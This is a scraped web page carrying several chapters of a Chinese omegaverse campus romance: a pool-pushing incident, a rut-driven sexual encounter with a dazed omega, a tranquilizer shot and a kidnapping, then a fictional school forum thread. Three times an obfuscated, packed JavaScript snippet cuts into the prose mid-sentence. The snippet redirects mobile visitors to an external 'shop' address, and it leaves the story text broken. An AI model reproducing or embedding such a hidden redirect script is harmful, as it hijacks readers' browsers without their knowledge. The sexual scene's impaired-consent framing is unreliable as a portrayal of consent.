RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731084|145045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面无表情地穿过回廊,来到祝青辞班前,就看到两个alpha不知道从哪里掏出来一盒巧克力,一脸娇羞地递给祝青辞。 omega的神色有些愕然,以及不知所措。 丁宴盯着那盒巧克力,粉色包装,上面还有一个蝴蝶结。 里面的白巧克力看上去甜到发腻,能腻死人,不知道是哪个低端牌子的廉价货。 哈,这样的东西也好意思送人。不过祝青辞一个小仆从,见到有人送他巧克力肯定乐坏了…… 他居然还真收了?! 丁宴脸已经完全黑了,转身就走。 * 祝青辞再见到丁宴时,是周三的下午。 加德王立学院每学期有安排游泳考试,他们今天来提前准备训练,然而,游泳馆却不对他们开放。 班主任皱着眉,“为什么?我们已经预约上了——” 安保的语气冷漠,“是么。或许是机器出了鼓掌。”继而又浮现一个假笑,“劳驾老师带着一群小鸡仔跑了大半个校园了。” 班主任愕然,他脸色变化几下,而耳畔响起一个声音。A班的一个老师不知何时站在角落里,嗤嗤发笑,“文老师,这就是你的不对了。” “游泳馆这种地方,是不能给B班的差生用的。”他表情惬意,“我们A班今天要游泳考试,B班就别脏了我们泳池的水了,毕竟你们班不知道是什么歪瓜裂枣,万一让我的学生沾染上皮肤病就不好了。” 班主任——文意一抬头,眼神就沉了下去。 A班的这个老师与他不对眼很久了,两个人是同一所大学,曾经是同一个实验组的,文意负责了实验的绝大部分,上至每天泡在实验室到十二点,下至论文撰写以及反复修改。 ——可偏偏最后的一作在导师的授意下,变成了另一个人。 文意深吸口气,“贺老师,B班的学生开学有体检过,没有人有皮肤传染病。” “况且,游泳馆里有整整4个泳池,我们只是借用其中一个,怎么也影响不到A班的同学,” A班的班主任皱着眉头,看上去有些不悦,可身后忽然传来一声:“好啊。” 他一扭头,丁宴抱着双手,眸光闪烁不清,斜斜依靠在泳池入口前,语气懒散:“游泳馆这么大,还差这二十个人么?” 丁宴对于身材管理十分重视,腹部隐约可见流畅的肌肉线条,窄腰被黑色的泳裤收住,看上去盛气凌人,黑色的小卷毛在阳光下泛着点棕。 他浑身上下都是薄肌,线条有一种流畅的美,看着不像是一个柔弱的omega,倒能和alpha媲美。他嘴上说着,眼睛却跳过了文意,一动不动地盯着祝青辞,笑着道:“别显得我们太过寒酸。” 祝青辞没有注意到他。双胞胎alpha站在他身后,弯着腰,小声对他说:“辞哥,你会游泳吗?” 祝青辞摇了摇头,另一个双胞胎alpha像是怕他紧张一样安抚他道:“没事,很容易的,游一下就会了……” 他们与祝青辞的距离差了五根指头,丁宴没听见他们说话,却莫名觉得碍眼极了,死死地盯着他们,眼神更冷。 与戚哥在一起还不知足,结果还要出来沾花捻草……浪|荡。 祝青辞换好衣服出来时,丁宴站在泳池岸边。两个人擦肩而过时,丁宴却忽然转身。 他微微一笑,毫无心理负担地伸手一推,祝青辞就这样被他推入水中,“扑通”一声溅起了满池水花。 两个alpha听见水声,一转过头来,大惊,“辞哥!”就要上前去救人。 丁宴记恨着上次与祝青辞的矛盾,又厌恶着他和两个alpha有说有笑的模样,脸上无光,因此铁定了心要折腾他,报复他,要让他记住教训,不再随意沾花捻草…… “你做什么!他不会游泳!” alpha震怒的声音传来。 ……什么? 丁宴一惊,悚然回神,后知后觉意识到自己方才神志不清,发|情期将至会容易导致omega胡思乱想,难道他…… 不对!现在不是这个问题! 他猛地扭头,看向池中的水花,人呢? “祝青辞!” 他刚喊出声,水中却猝不及防伸出一只手,猛地抓住他的脚踝,丁宴整个人大惊,身体却被拉扯着往前,落水前,忍不住大骂一声:“靠!” 9. 第 9 章 [你只是一枚迟早会死的棋子。] * 阳光的光斑透过游泳馆的天幕,隐隐绰绰地落在冰冷的水面上。 丁宴入水时,巨大的拍力让他脑袋一晕,水从嘴巴进肺腑,他差点呛咳得半死,在水下艰难地睁开双眼。 水下波光粼粼,阳光折射出淡金色的光柱,他们像是误入水族馆水缸之中的两条游鱼,水面上的光斑模糊地映在不远处男生苍白的面孔上。 祝青辞抓他下来后,全身的力气似乎就被抽空,他似乎已经半昏迷了,晶莹的小气泡不断如断了线的水晶珠子从他嘴唇溢出。 丁宴一变,拼尽全力地往祝青辞身边游去,抓住他的手,接着用尽全力,把他扛着往水面上带。 他妈的,他几乎暴躁地想,为什么学校的泳池要建这么深? “哗啦!!” 丁宴一上岸,就感觉到身边人的头无力地砸在他的颈窝中,他浑身过电,吐了一口水,猛地回头,“祝青辞!” 他低喝着摇晃着怀里的人,祝青辞浑身冰冷,双目紧闭,四肢都软绵绵的,他的脑袋无力地后仰,脆弱到令人心惊担颤的弧度,仿佛被掐断的一截白苇。 呼吸呢?丁宴一摸他的鼻子,触感冰凉,大脑“嗡”了一声,连忙将omega拎起来,放在腿上,用力扣着他的背部。 omega轻飘飘地,背部的肩胛骨微微凸起,硌得惊人,他吐出几口水,但是依然脸色惨白,毫无意识。 丁宴这辈子都没遇到过这种情况,他从小就是一个要风得风,要雨得雨的小少爷,可眼下,他生平第一次手足无措起来,声音颤抖:“祝青辞……祝青辞……!” 然而祝青辞全无意识,安安静静地,仿佛死了。 丁宴想起最开始知道祝青辞这个人时,他也是这么安安静静地,仿佛死了一样,被他逼到角落里找茬,淋了一身水,居然也沉默不语,一声不吭。 他身上似乎总是习惯了背负着什么,因此抬起眼睛看人时,一双眼睛如冰湖一般毫无感情。 丁宴讨厌这样的眼睛,比起祝青辞,他更喜欢戚珣。戚珣俊美,高大,家财万贯,事业有成,谈吐有方,是他从小就憧憬的、想要成为的那种人。 而且,他是人群中极为少数的omega。omega生来就是要结婚的,而豪门贵族中的omega,更是要沦为联姻的政治工具。 这也是没办法的事情不是吗?omega天生缺陷,每月一次发情期,如果没有alpha的信息素安抚,就要痛不欲生地自己熬过去,还要变成狗一样,流着口水,不知廉耻地在地上发着情。 所以,最开始见到祝青辞时,他觉得自己的东西被抢走了,自己的利益被触碰了,因此暴怒异常。 他把人逼至角落里,嘻嘻哈哈地泼他一身污水,冷眼看他狼狈不堪的模样。omega低着头,污水顺着他的额发滴滴答答地流下来,落在地毯上。 “祝青辞,你这种人,就别想癞蛤蟆吃天鹅肉了。” “一个小仆从,也敢妄议自称戚哥的男朋友?白日梦也有个限度。” 直到学生会莫名其妙地把他关进禁闭室。 他从小娇生惯养,一开始还在禁闭室破口大骂,学生会竟敢这样对他?!他总有一天把那个姓纪的会长被踹下来! 黑色的房间里空无一人,只有他一个人,甚至感觉不到时间流逝,一种死寂般的绝望开始慢慢包裹住他,他牙齿都开始打颤,最后一个人缩在角落里,无声地哭泣。 ——可祝青辞来了。 像是猫一般,几乎无声无息的脚步声,可他依然听见了。 他就那么披着月色,隔着铁门,隔着一层厚重的阻碍,与他意外重逢。 omega看见他时,脸上明显能看到讶异的神色,雪白莹亮的月色斜斜地照在他身上,在他侧脸处镌刻出一小块流萤似的光彩,脸上细小的绒毛几乎发着光。 这让他看上去有些寡淡的面孔忽然间活色生香起来,不再那么冷冰冰地克制,仿佛一个没有灵魂的人偶,温暖的灵魂透过皮囊,在走廊中,让他无法挪开双眼。 所以这也是为什么他最后接受让祝青辞跟他睡一晚上吧?分明从小到大他是不愿意有人与他分享任何东西的,他的就是他的,独一无二,只属于他,可那张并不算大的床最后分给了祝青辞一半。 “……祝青辞!” 丁宴像是个闯了大祸,才后知后觉意识到的小孩,浑身颤抖如筛糠,牙关都忍不住抖起来,“对不起……我只是想跟你开个玩笑……谁叫你一直不理我,我……” 他语言混乱,颠三倒四,慌得六神无主。他艰难地喘着气给omega做心肺复苏,脸色难看至极。祝青辞却依然无知无觉。 这种情况下只能用最原始的急救手段。他将祝青辞放平在地面上,手指依然有力地叩着他的心脏,低下了头。 两个人的唇挨得越来越近,因为泡了水,Omega的唇色有些苍白,湿漉漉的水滴顺着他的唇缝流下,仿佛亮晶晶的涎水。丁宴几乎能闻到从omega唇齿中飘出的淡淡的雪松林香,缥缈而悠远,带着一点圣洁的气息。 他闻着那股香,心中更为烦躁焦灼,两个人鼻尖挨着鼻尖,他几乎能感觉到自己潮热的呼吸打在祝青辞雪白的脸上。 这毫无疑问是他的初吻,可是他也不敢想太多。对他来说,祝青辞—— “……啪!” 一声清脆的脆响猛地响起。 祝青辞艰难地睁开一点眼睛,冷不丁看见一张大嘴对着自己,下意识一巴掌抽过去。 丁宴第二次被祝青辞扇巴掌,不知道为什么,居然有点习惯了。他被打得脸颊侧过去,脸上顿时浮现一个红印,眉头微皱,又缓慢地把头扭回来。 “……咳咳咳咳咳!” 祝青辞颤抖着,肩胛骨抖出一片缠绕的弧线,他吃力地喘气,丁宴神色变了变,猛地凑过去,顺着祝青辞痉挛的脊椎轻轻地拍他,焦急道:“你,你没事吧?!还有哪里不舒服吗?” 祝青辞推开他,他深吸一口气,一指旁边,声音因为浸水嘶哑,却又清晰无比地传进丁宴耳朵中,他冷冷道:“滚。” 他抬起一双满是水汽的眼睛,蓝宝石一般的眼睛被生理性泪水浸泡得莹莹发亮。湿淋淋的睫毛虚弱地颤动,裸露在外的皮肤全都白到露出青色血管,眼尾因为呛水一片红。 他眼神冷淡,丁宴被看得心一惊,整个人都凌乱起来了。 他慌了一瞬间,急声道:“等一下,祝青辞你听我解释……” 若是平时,有人胆敢这般对他大放厥词,他必定要百般十倍地报复回去。 可眼下,他因为救祝青辞,浑身湿透,大颗大颗的水珠从他的脸上坠至地上,却还是抓住祝青辞湿漉漉的衣角,狼狈不堪地道:“我不是故意的,我就是看见你和那两个alpha玩得好,我……我不开心,你对我甩脸色,可你对他们却笑得那么开心,我……” 祝青辞不明白自己哪里和那两个alpha玩得好了,他们来向自己问问题,他礼貌性地回复,上次还莫名其妙忽然送了他巧克力,他甚至还回绝了,不知道哪里戳到了丁宴这个敏感肌。 但是,一码归一码,祝青辞看着丁宴,语气淡淡,“是吗?原来你心情不好,就能推人下水。” 丁宴脸色一僵。 祝青辞神色恹恹,眼睫低垂下来,露出深而窄的双眼皮。衬衫被打湿贴在他身上,苍白的肤色在衬衫下影影绰绰地透出点肉色。 他没有再理丁宴,拧了一下身上的水,一站起来,旁边的两个alpha就忙不迭地凑上来,像是想要搀扶他,又被祝青辞推开,“别碰我。” 他那副好脾气又温顺的模样在眼下总算露出一点锋芒,却也不刺人,反倒像是一只不亲人的猫,丁宴拉着他,“你不是也把我拉下水了吗!一报还一报,不能扯平吗?你怪我是不是!好,我跟你道歉,对……” 他一抓到Omega,就被他冰冷的手腕冻了个哆嗦。 “不怪你。”祝青辞神色很奇怪地瞥了他一眼,拍了拍他死死抓住自己手腕的手,温声道:“丁小少爷,你想知道的,关于戚珣的事,我已经全部告诉你了,你不用担心我跟你说的那些话是假的,我可以对天发誓,如有谎言,我不得好死……” “你别说了!” 明明祝青辞的声音轻飘飘的,仿佛四月忽如其来的风,丁宴却如遭重击,失魂落魄地放下手。他浑身是水地跪在原地,低下了头,像是一只被主人抛弃的大狗。 祝青辞没有再理丁宴,径直走回宿舍,两个alpha看了丁宴一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731085|145045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,又看了看祝青辞,忙不迭追上去。 “辞哥,你没事吧?” “辞哥,我们送你回去……” 祝青辞转过身来,他像是有些无奈,扯了扯自己的衣领,指了指泳池,“今天是游泳考试,你们快去吧。” 两个alpha一时间有些失落,高大的肩膀垮下来,却还是乖乖听话地往回走。 冷风从罅隙中灌进来,祝青辞打了个喷嚏,一时间有些头重脚轻,心想,不会吧…… 他向老师请了假,眼下是九月,天气不算炎热,空气有些微微冒凉。 学校的后勤效率还算高,他宿舍的排水系统已经修好,学校也帮他调整换了一个地理位置稍高一点的宿舍。 新宿舍没有舍友,离A班的宿舍近,不过好在现在是上课时间,他不会撞见任何人。 祝青辞回宿舍换了件衣服,摩挲了一下放在桌面上的《枪械基础》。 军部考试还有三个月,他的体质如果想进军部,必须以特招的形式进入。 他没有把丁宴放心上。他又不是没伺候过这种小少爷,戚珣都是他带大的,晾几天就恢复正常了…… [事实上,你并不想与他们继续纠葛下去。] [因为你知道,继续与他们纠葛,你只有死路一条。] [只有军部,只有进军部,你才有可能活下来,才有可能摆脱戚家的枷锁,摆脱故事既有的大纲——一个你必死的结局。] 祝青辞脸色微微一凝,捂住自己耳朵。 方才落水时,他脑海里似乎就有什么人在说话,他蹙着眉。 这是什么?脑震荡?可是他仔细去听,那道机械般的声音又消失不见,如雨水消失在海中。 祝青辞还待细想,然而,凄厉的警报声如一柄破风而来的快刀,切破了死沉沉的气氛,回旋的红光让人一瞬间寒毛炸起。 走廊的温度瞬间下降,寒气顺着门缝直逼,像一条冰冷的蛇,空气中飘散着淡淡的龙涎香。 刺耳的警报声响彻整座走廊,有人惊呼:“有alpha失控了!!!” “易感期失控!警卫队!警卫队!!!该死!他怎么朝着地下的宿舍跑去了!” “铁链都拴不住他!!!” “尝试注射过抑制剂了——他大爷的,他的皮肤把针头崩断了!我说这群S级alpha能不能别壮得跟牛一样?!” “该死,这么浓的信息素,要是有omega的发情期不小心被勾出来就完蛋了!” 门外响起凌乱的脚步声,由远及近,像极了某种猛兽在慢慢逼近,浓郁的信息素瞬间炸开,祝青辞头晕目眩,他吃力地扶住门框,想要将安全锁挂上的一瞬间—— [识别,标记,占有,这是信息素的作用。] [99.9%,你会是它的命定之番。] 门被大力撞开,劈里啪啦碎成了齑粉,祝青辞往后退了一步,下一秒,一个人好似炮弹一样冲进他的怀里,护住他的脑袋,带着他一起摔倒在地板上! 祝青辞头晕目眩地仰倒在地板上。他被一个庞然大物笼罩,阴影罩住了他,他吃力地睁开眼,恰好撞见一个人从他的怀里慢慢抬起头。 他眉目冰冷英俊,袖匝将他精壮的小臂线条勒得漂亮而利落,一双眼眸透着点血红,非人感强烈到近乎无机质。胸前的衬衫上更是挂着一个金色鸢尾花的铭牌,上面写着:“蒋白止”。 蒋白止?蒋白止……祝青辞想起那天校医室醒来后戚珣对自己的质问,意识到不妙。 然而龙涎香的味道欺压而来,祝青辞本就发热的身体莫名更为酸软,仿佛有某种暧昧的液体从神经中枢缓缓流向四肢百骸。 这感觉非常奇妙,几秒钟后变成了更深层次的空虚,肌肤下仿佛有某种微妙的刺激微微一跳。 祝青辞身体忍不住痉挛了一下,浅色的眼珠微微一凝,咬着牙,想要开口,可一张嘴,声音就猛地拐了一个大弯。 “啊……” 尾音都发着颤。祝青辞一愣,连忙捂住嘴,眼神却逐渐迷离起来,一层水雾涌上来,他恍恍惚惚,手绵软无力地垂下,勾住了alpha的脖子。 与此同时,警报声再次响起:“S级alpha蒋白止陷入易感期暴走——请所有omega进入隔离区,有序撤离!” 10. 第 10 章 蒋白止缓缓低头,与被他压在身下,面色绯红的omega对视。 omega面色茫然,却依然紧咬着唇,眼尾一片湿热的红,眼神朦胧,淡淡的香气从他被咬得嫣红的唇隙中溢出。 他穿着学校的制服衬衫,可能是因为刚换了衣服,扣子还没来得及扣好,露出大片大片白皙的锁骨,一小块阴影游动在他锁骨与脖颈连接的三角凹陷之中,细碎的发丝湿漉漉地黏至颈侧,乌色衬得他皮肤更是如瓷一般的白。 蒋白止神色冷得厉害,然而他身体却滚烫如火一般,紧紧地将omega罩在他的阴影之下。 “你是谁?”蒋白止双眼通红,咬着牙,神智艰难地挣扎,低声道:“赶紧滚!别靠近我,我警告你——” 欲望与神智在他大脑间翻滚,在喉间滚出一声威胁的低吼:“收起你下贱的信息素!别妄图勾引我——” 平心而论,蒋白止长得很端正,他今天戴了一副金丝眼镜框,衬衫外面套了一件灰色马甲,嘴唇薄薄地抿成一条锋利的直线,显得薄情而冰冷,充斥着斯文败类的气息,一副冷淡刻薄的精英模样。 他嘴上这样说着,可身体却实诚地缠着祝青辞,双手依然不受控制地勒住祝青辞的腰,衬衫轻而易举地被弄皱推上去,露出一小截漂亮精瘦的腰。 蒋白止的手很大,指节修长,中指处有一个长期握笔而形成的茧,双手紧紧地掐在omega后腰一块凹下去的凹陷,指尖一片令人发麻的滑腻触感,像是抱住了一条湿滑的鱼。 omega双手无力地勾在他的脖子上,头无力地后折,挂在他身上,眼神涣散,两个人鼻尖点着鼻尖,呼吸交缠。 蒋白止脑子顿时轰地一声,平日里约束极为严苛的自我管控一下子被抛至九霄云外。 他双目通红,已然全部失去神智,西装上的领带被他解开,扣至最上面的纽扣被解开两颗,露出一片精壮的胸膛。 他下意识吸了吸鼻子,上次那个味道让他难以忘记,回到家后,一整个晚上,梦中都是一片安静的雪松林。 他想起了小时候与妈妈呆在古堡的时候,窗外便是一片高大的雪松林树。 积雪从树梢上落下,他的母亲站在树下,浅笑着,对他张开怀抱,而他扑进那个温暖而芬香的怀抱之中——对他来说,舒适而安宁的家便是幼时母亲在雪松林下的拥抱。 可鼻尖没有雪松林淡淡的清香,反而是一阵浓郁的硝烟味。 为什么没有? 蒋白止平日里看来高冷无情的脸,此刻写满了焦躁与烦闷,他像一只大狗一样,抽了抽鼻子,埋进祝青辞的颈间,鼻尖抵着衬衫,一路缓慢地往下嗅闻。 衬衫被他抵开缝隙,omega的锁骨间有一粒很细小的红痣,他鼻尖划过红痣,一路抵在了omega白净柔软的胸|脯上。 omega的身躯滚烫,胸|脯剧烈地起伏,带着他的鼻尖一起,仿佛翻滚的海浪。 那日素雅而安宁的香味此刻却像是被厚重的灰尘掩埋。 “啊……” 灼热的呼吸打在胸口,皮肤表面瞬间起了一层鸡皮疙瘩。祝青辞感觉体内一阵阵致命的酥麻感,从脊骨一路过电似地,触击他的大脑,他如坠云雾一般,整个人神智模糊不清,只能如溺水一般抱住了眼前这唯一一个滚烫而炙热的浮木。 他闭着眼,几滴生理性泪水从眼角流下。 眼泪中夹杂着少量信息素,蒋白止顿了下来,接着,缓慢地凝固在了那双蓄满了生理性眼泪的婴儿蓝双眼,脑子里一瞬间被汹涌澎湃的欲|望淹没。 好香…… 他把omega修长无力的腿折起来,挂在他精壮的后腰上,omega懵懵懂懂地看着他,似乎没有反应过来发生了什么。 蒋白止低下头,祝青辞忽然感觉到脸上一片湿热,热烘烘的热气迎面而来,龙涎香让他的大脑一片空白,他像是一个玩偶一样眼神空洞,就这么任由在他身上的男人为所欲为。 空气中一片暧|昧的湿热气息,门外的警报依然在响,红光透过宿舍的小窗,照进来,仿佛血红色的月光,危险而暧昧。蒋白止的唇擦过omega打湿的睫毛,接着烙印在omega的眼角处,像是一个得不到释放的狗,一下一下地舔舐掉祝青辞眼角的眼泪。 眼看他就要顺着脸颊下滑,亲吻omega呼出湿热气息的唇缝, “咔嚓” 清脆的照相机的声音传来,祝青辞猛地清醒过来,他瞳孔微微缩小,别过脸,趴在他身上的alpha却不满意地皱起了剑眉,下意识地俯下身,死死护住了身下的omega。 易感期的alpha领地意识极强,他几乎是瞬间露出犬齿,目光变得有攻击性起来,往身后看去。 “谁?” 祝青辞昏沉的大脑被这声拍照声惊醒,他放下方才被情|热冲昏头脑而勾住alpha脖颈的手,交叉的双腿试图并在一起,往回缩,压在他身上的alpha感觉到他想要逃离,立刻扭回头,眉头拧得更紧,握住了他的脚踝。 “看来是我打扰了两位的兴致?” 一个懒洋洋的声音从门口传来。 祝青辞咬着牙,艰难地抬起头,看见一个青年靠在门边。 他一身军绿色制服,修长的小腿被军靴束起,勾勒出笔直利落的弧线,胸前挂着几枚金光闪闪的勋章,站姿松散,却不觉得轻浮,反而像是一只潜伏着,伺机而动、随时爆发的小狮子。 更引人注目的是他那一头金发,警报声不知什么时候停止了,门外是金灿灿的阳光顺着走廊而涌入,他站在逆光处,于是阳光便给他的轮廓镶嵌上一层橘黄色的金边,让他看上去仿佛一个神秘的雕塑。 他嘴里似乎叼着什么东西,看上去极为不正经,一只手拿着相机,低头端详着照片,“啧”了一声,似乎有些意外地评价道:“没想到蒋少居然也有沦为被信息素控制的这一天,栽得可真可怜。” 他另一只手则把玩着一个L状的东西,修长的手指翻转,在阳光下折射出冰冷的光芒。祝青辞眯起眼睛,定睛一看——那居然是一把手|枪! 青年抬起手,枪缓慢地对准倒在地上的两个人。 他嘴里咬着一根棒棒糖,糖果在臼齿中咔嚓一声被咬断,甜腻的草莓气息溢出——居然还是草莓味的阿尔卑斯! 青年笑了一下,耸耸肩,“抑制弹。价格一万零八千人民币,折合一百八十张毛爷爷,蒋少,这可是你欠我的。” 扳机扣动,一声枪响,一枚血红色的子弹划破半空,精准无比地射|入蒋白止的右肩。蒋白止脸上一闪而过痛楚,接着轰然倒地,重重地压在祝青辞身上。 祝青辞连忙偏了下头,蒋白止砸在他的颈窝中,磕到他的锁骨,两个人都轻轻地倒吸一口凉气。 蒋白止不甘心地低吼两声,他抓住omega纤细脚踝的手不受控制地松开,这让他脸上一片绝望与愤怒,还有些微不可察的难过。 青年眯了眯眼睛,缓慢地走了进来。 军靴在地上“哒哒”作响,祝青辞视野中出现青年那双绷得笔直利落的长腿,军靴在昏暗的灯光下泛着昂贵的色泽,恐怕是真皮制作而成,价值不菲。 青年随手一抛,抛给祝青辞一个沉重的铁块,“他现在易感期对象是你,除了你以外,生人勿进。给他戴上。” 祝青辞吃力地接住,低头一看,才发现那居然是一个止咬器。 铁笼子在冰冷的白炽灯下淬着寒铁似的光,像是给凶猛野兽上的一道无情的枷锁。 他犹豫了一会,解开扣子,盖在蒋白止的脸上,轻柔地在他脑后扣上扣子。蒋白止委屈地呜咽一声,止咬器轻轻地往他脸上撞,喉咙里滚出闷闷的呜呜声。 那张禁欲冷淡的脸此刻皱成一团,两道粗而狂野的剑眉委屈地瞥成“八”字,像是不明白主人为什么要惩罚自己的大狗。 祝青辞被撞得一鼻子铁锈味,忍不住拍了拍蒋白止的头。蒋白止的表情让他恍惚了一下,像是小时候总是委屈巴巴地抱着他腿的戚珣,下意识地哄道:“乖,很快就好。” “呜。” 蒋白止似乎非常不满意,甩了甩头,他今天还戴了一个金丝眼镜,方才动作太过剧烈,现下已经被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731086|145045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他甩掉,砸在地上,咚地一声响。 被命定omega这样说,蒋白止只能失落地深深埋下了头,头不断地在祝青辞的颈窝蹭,蹭得他原本精致打理的发型凌乱起来。 他像个傻狗、疯狗一样扑在脆弱的omega身上,西装裤后面如果有尾巴,恐怕现在已经摇成螺旋桨了。 青年的表情奇异极了,“祝青辞,小看你了。你训狗技巧真是炉火纯青,怎么,被戚珣的狗劲训练出来的?不过,劝你一句,等蒋白止醒来就赶紧逃吧。” 他像是想起什么很高兴的事情一样,弯起了眼睛,“他要是知道易感期的自己对你这么眷恋,你要么被他囚禁,要么被他杀死。他从来不喜欢别人控制自己,只有他控制别人的份,是个彻头彻尾的控制狂。” 他一靠近,祝青辞才看清他的脸。青年长得很好看,但是与戚珣、蒋白止都不太相似——是一种野性的英气,剑眉入鬓,鼻梁高挺,眼窝很深,一双眼睛居然是翡翠般的绿,幽深如碧潭。 可若是仔细看,似乎又能看见他眼底的戏谑,与一股无由来的厌恶,漠然地看着祝青辞。 祝青辞抬起头,忍不住反驳:“戚珣才不是狗。”狗没他那么神经质。 青年却以为他是在护着戚珣,忍不住嗤笑一声,“行行行,知道你爱他爱得发疯,爱得卑微,祝青辞,你还真是……情人眼里出西施,什么锅配什么盖。” 祝青辞艰难地把蒋白止从身上掀下来,蒋白止躺在地上,瞪着眼睛看着他,一双眼睛里写满了委屈。 祝青辞没有看他,他头疼欲裂,浑身发热,好在方才那股奇怪的酥麻感下去了,他喘了几口气,朝着青年伸手,平静道:“刚刚的照片,麻烦你删掉。” 他一起身,方才被蒋白止用鼻尖拱开的衬衫就从肩膀上滑落下来,露出半个圆润的肩头和如羊脂玉般白皙的皮肤,然而他头脑昏沉,没来得及注意这个,只知道死死地盯着青年,手心都是汗。 刚刚那个照片如果给戚珣看到了…… 他一想到这个,就头皮发麻,因此即使眼前都出现了重影,依然固执地看向青年,重复道:“请删掉。” 青年看着他,后退一步,英俊的眉皱起,脸上的警惕一闪而过。 他侧过头,看向旁边的蒋白止,忽然间明白了什么,脸上浮现一个若有似无的笑,自言自语般道:“上一世怎么没发现,你这么胆大包天,蒋白止都敢招惹,现在还来勾引我。” “戚珣要是知道,岂不是得气死?” 说到这个,他脸上的笑容更加意味深长,“祝青辞,我确定了。” 祝青辞不明白他在说什么,可下一刻,后颈一凉,青年指尖拂过他的后颈,掀起他搭在后颈的头发,轻轻地嗅闻了一下。 青年闷闷一笑,“啊呀,这位可怜的小omega,你快发|情期了。” 发|情热让祝青辞的身体格外敏感,呼吸打在腺体上,他浑身一激灵,睁大眼睛,仰起头,“你……” 然而他没来得及说完,青年就伸过来手,往他后颈一掐,祝青辞瞬间晕了过去,软软地倒在青年的怀抱之中。 “这么轻?啧,一碰就碎。” 青年抄起omega的双腿和腋下,将他抱起来,omega轻得跟羽毛一样。 地上的蒋白止依然没有恢复神智。抑制弹里的药物输送至他全身需要时间,尤其是对S级的alpha,起效更为缓慢。 此时,他像是一个在巢穴之中,却只能眼睁睁地看着自己伴侣被抢走的狼王,瞪大了双眼,浑身却还因为抑制弹的原因无法动弹,喉咙中滚出愤怒的低吼。 “沈有铮!!!” 不行……不要走……还回来…… 抑制弹的催眠作用却让他的眼皮越来越沉,他艰难地看着青年抱着omega离开的背影,一直到昏睡之前,都死死地瞪着,像是要从他身上咬下一块肉一般。 被称作“沈有铮”的青年回过头,讶异地看了蒋白止一眼,接着,笑了笑,食指在唇上碰了碰,“这个omega我就先绑架了,蒋哥,清醒过来你会感激我的。” 11. 第 11 章 #今日校园热点论坛 听说传说中的那一位传说回来了 发帖人:匿名 fpb,如题 1L:来了来了,前排。 2L:天空一声巨响,大爷闪亮登场(不是) 3L:是不是F4里脾气最奇怪的那一位? 我今天看到有军用SUV停学校门口了。呵呵呵呵,我还看到枪了。 4L:好像是因为上学期缺课太多,这学期被军部长官踢回来上学了。 5L:感觉又是一片腥风血雨,这就是军部唯一评级S级战斗力的小军爷吗? 6L:好土的称呼,但是我好爱。 7L:……你们说的都是谁? 8L:楼上又是哪个犄角旮旯里钻出来的吗喽?新生?不知道去年的莫|洛|托|夫|鸡|尾|酒[注]案件吗? 9L:炸弹狂魔案。我当时就在现场,有一个极端仇富份子,因为赌博承担了巨额高利贷,还把自己的妻女抵出去,结果还是输得倾家荡产,最后自制简易燃|烧|弹,冲进加德王立学院了。 10L:听说当时炸伤了好几个学生,学院安保都动不了那个疯子,是沈小军爷用命解决的。 11L:用命解决的? 12L:简单来说,就是硬莽。 正常人在那种情况下,肯定被炸死,但是他的运动天赋,堪称是鬼才级别的。 从他出现到制服罪犯,好像就30s,只是后背都被炸伤一片,最后血肉模糊地被送去医院了。 13L:他被扛起医院之前,还躺在担架上对我们比耶了,我拍了照。[照片] 14L:可恶,被帅到了。 15L:而且,沈小军爷最后还带队端了放高利贷的老巢,把那对母女救了出来。后来还被送了锦旗,从此成为我们学院F4中最闪亮的一颗星(不是)。 15L:但是他很危险,性格喜怒无常,根本不知道在想什么,是F4中最危险的一位。 16L:没错,之前似乎有一个omega接近他,从此就失踪了。 17L:何止?他宿舍门前经常有血,正常人那个出血量早死了,只能是别人的血了。 18L:四大世家中,沈家是最为恐怖的。他是沈家严格筛选培育出来的怪物,救人不是因为道德或者什么,恐怕只是因为他觉得有趣而已。 所以碰到他,能跑的话就赶快跑。 19L:……变成恐怖片了喂。 #此帖已于2030年9月8日删除。 * 加德王立学院是国都占地面积最大的一所学院,超8000余亩,据闻上一世纪这里曾经被作为军事研究院以及防空洞使用,因此除了安保等级极高以外,学校里有不少隐秘的角落。 学院西南角的一个不起眼的旧仓库中,祝青辞被摔在一个军用软垫上,等醒过来时,天色临近黄昏。 夕阳从小窗中落入,在半空中折射出几道朦胧的光柱,氤氲的浮尘在光线中起起落落,墙皮老至斑驳脱落,很难想象这种贵族学院有这种老派的地方。 浩浩荡荡的钟声铺天盖地,候鸟从远处的树梢呼啦啦飞起。 祝青辞一睁开眼,入目就是一双漆黑的皮质军靴。往上看,便是今日里那位金发青年。 沈有铮左腿搁在右腿上,手上拿着一个红色的游戏机,他戴着军用的黑色露指手套,修长白皙的手指灵活地在按钮上移动,嘴里滚着一根棒棒糖,垂着眼,不紧不慢地打游戏。 “Congratulation!” 游戏机中传来胜利的恭喜声,沈有铮放下游戏机,缓慢撩起眼皮,看着他,笑了笑,“醒了?” 